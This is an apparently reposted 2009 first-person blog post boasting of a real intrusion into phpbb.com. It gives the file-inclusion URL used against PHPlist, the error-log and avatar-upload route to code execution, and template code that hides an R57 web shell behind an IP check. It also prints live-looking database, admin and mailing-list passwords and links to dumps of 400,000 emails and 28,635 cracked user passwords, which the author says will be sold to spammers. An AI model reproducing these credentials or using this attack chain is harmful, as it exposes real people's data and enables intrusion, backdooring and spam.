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I hacked PHPBB.COM

It all started on Jan 14th when I was surfing milw0rm and came across this exploit: `http://www.milw0rm.com/exploits/7778`

I then remembered that phpbb.com was running PHPlist and went looking through my email to find the link to the script’s location. So I went to phpbb.com/lists and sure enough they were running a vulnerable version. Next I enabled my favorite program proxy program and tried `http://www.phpbb.com/lists/admin/index.php?_SERVER%5bConfigFile%5d=../../../../../../etc/passwd` and sure enough it included the `etc/passwd`.

  • `http://hackedphpbb.pastebin.com/f70f8bcaf`
  • `http://rapidshare.com/files/192159914/etc.txt`

So I moved on to `/etc/httpd/conf/httpd.conf`.

  • `http://rapidshare.com/files/192163061/httpd.txt`
  • `http://hackedphpbb.pastebin.com/d29d8d4c7`

And eventually found my way to their error log `/home/logs/phpbb.com/error_log`. After a little looking I figured out that their forums were running off `/home/virtual/phpbb.com/community/` well it has been known for some time that you can include code in the error log. So I wanted to run some code, well in PHPBB3 the avatars are located in a folder called `/home/virtual/phpbb.com/community/images/avatars/upload` and your avatar is called `(secret hash)_userid.jpg`. But I didn’t know what the secret has was to include my picture (that had my own code in it) so by using the error log I injected code and figured out that their hash is `f51ee61fe7a83fdf72780912bced0855`. So now every time I want to upload run code against the server I can include this: `/../../../../../../home/virtual/phpbb.com/community/images/avatars/upload/f51ee61fe7a83fdf72780912bced0855_ID.jpg`.

So my first avatar was something simple and I wanted to see if phpbb kept their config file in plain text so cat `/home/virtual/phpbb.com/community/config.php` and sure enough, its in plain text.

  1. $dbms = 'mysqli';
  2. $dbhost = 'phpbb.db.osuosl.org';
  3. $dbport = '';
  4. $dbname = 'phpbb';
  5. $dbuser = 'phpbb2';
  6. $dbpasswd = 'saxM9nfRjLbJ2Yy5';
  7. $table_prefix = 'community_';

While I was at it I checked out the config for PHPlist and it was also in plain text:

  1. $database_host = "localhost";
  2. $database_name = "phpbb_phplist";
  3. $database_user = 'phplist';
  4. $database_password = 'Berti3_Danc3';

So I started running commands and found out that I can upload a php text file on the forums and by finding where the path it was stored I was able to get around their 14KB restrictions on avatars and a lot easier than editing images with `edjpgcom`. So doing a mysql dump of the `phplist_admin` table it showed in plain text that the password for the one admin account was `phpbb_n3ws` and the login was `phpBB`. Wow I am shocked no one brute forced this. So I login and see what I can come across, wow 400,000 registered emails, I’m sure that will go quick on the black market, sorry people but expect a lot of spam. After trying to modify the files that were stored in PHPlist I gave up and moved on to the forums. But not before dumping the PHPlist emails here: `http://rapidshare.com/files/192305758/out.txt`.

On the phpbb forums it states it has 200,000 members, but due to them constantly getting spammed they have well over 400,000 accounts. I started dumping the `community_users` table with their `user_id`, `username` and `user_password`. PHPBB stores their user’s passwords in unsalted md5 and their admin’s passwords in some funky hash. But if you run your own forum and are an admin you can have your forums create the hash, and then you do an mysql update to one of the admin account’s and your in. Or if you change their password to yours you can use the recover password function. More to come from this later.

So I wrote a script that submits via `curl`, the md5 hash to a website and then stores the successful result in my own mysql database. The total accounts cracked are: 28,635. I could have continued cracking but it was getting boring. Here is a sql file of the cracked passwords. Warning, some of the user name’s aren’t right as I had to remove ticks and quotes for it to run in my script, so I included their user id so you can check their proper login name: `http://rapidshare.com/files/192304153/phpbb_users.sql`.

In gaining access to the admin panel of the forums, I was able to read staff forums and come across some interesting posts. I will share some with you.

List passwords:

To try and make this easier, below is a list of the mailing list passwords I had, please update and add any others that you have

  1. captcha-commits@lists.phpbb.com 54a946c47dd434b2
  2. catdb-commits@lists.phpbb.com 6f543db8f086e11f
  3. convertors-commits@lists.phpbb.com c192b68baacc8842
  4. documentation-commits@lists.phpbb.com f85ffcdf9262420c
  5. easymod-commits@lists.phpbb.com 5db5bf75be85191b
  6. kbase-commits@lists.phpbb.com 7c843188ed2f6021
  7. modteam-commits@lists.phpbb.com 533aeefe56bfa30c
  8. prosilver-commits@lists.phpbb.com 859785a9cc724e03
  9. website-commits@lists.phpbb.com 3c79b9864ae5ce43
  10. phpbb-honey-commits@lists.phpbb.com 7e9563750650e4c4
  11. st-tool-commits@lists.phpbb.com 534d4a9b74bb77aa
  12. iit-track-commits@lists.phpbb.com 8f318ffd3a2067c8
  13. packagemanager-commits@lists.phpbb.com 81657892dddafdca
  14. moddocs-commits@lists.phpbb.com 85c837b7f78e5435

Told you they were random Meik ;)

  1. edit by dhn: added website-commits
  2. edit by tm: added phpbb-honey-commits, st--tool-commits, iit-track-commits.

  1. 8kg;rt7Xykjq

That password should work for all mailing lists on code.phpbb.com.

Emergency contacts and irc info: `http://hackedphpbb.pastebin.com/f1399b3e8`

And then I remembered that the admin panel allows you to dump tables. So I dumped the users table which is accessible here: `http://rapidshare.com/files/192261517/backup_sql.gz`.

Next I enabled php in template files and added this bit of code to one of the templates:

  1. $ip=$_SERVER['REMOTE_ADDR']; if($ip == "x.x.x.x"){include("/home/virtual/phpbb.com/community/files/(myid)_82ec9f9eb80df2a16cc3638429631c9f");}

Which happened to be a shell, R57shell actually. I then searched for a writable directory and created a php file and wrote the source code to that file. I cleaned up the template and settings and logs and left the forums to run the way they were.

After searching around using the shell I came across the Blog settings:

  1. define('DB_NAME', 'wordpress'); // The name of the database
  2. define('DB_USER', 'blog'); // Your MySQL username
  3. define('DB_PASSWORD', 'htsCCvyCnt5jPYMx'); // ...and password
  4. define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
  5. define('DB_CHARSET', 'utf8');
  6. define('DB_COLLATE', '');

And now it comes to an end, you may ask why did I do this? For fun mainly, but what I would like to suggest to the team at phpbb is this. If you are going to run third party scripts, either integrate them or keep up to date on their patches. (even though the patch wasn’t released for 2 weeks). Also don’t allow admin’s to recover their passwords, they should have to contact another admin. Another item, doesn’t keep plain text files of passwords or in the database plain text passwords.

I know this isn’t the best read, but it is very hard to look back on everything you did over the course of a few weeks. But hopefully I can now sleep better knowing that I am not worrying about the next way to break in.

Update 1

To all that say i am a script kiddie, fuck you phpbb, i did not alter any files on your server, everything i gained access to has been listed in this blog.

Update 2

Here are some updated links: `http://www.2shared.com/file/4785295/67200bd7/phpbb.html`.

When i was talking about encrypted passwords, i ment when it was stored in PHPlist in plain text.

-- Источник: http://hackedphpbb.blogspot.com/2009/01/place-holder.html

Обновлено: 12 Марта 2009 г. пользователем Dmitry Sh, Создано: 29 Января 2009 г.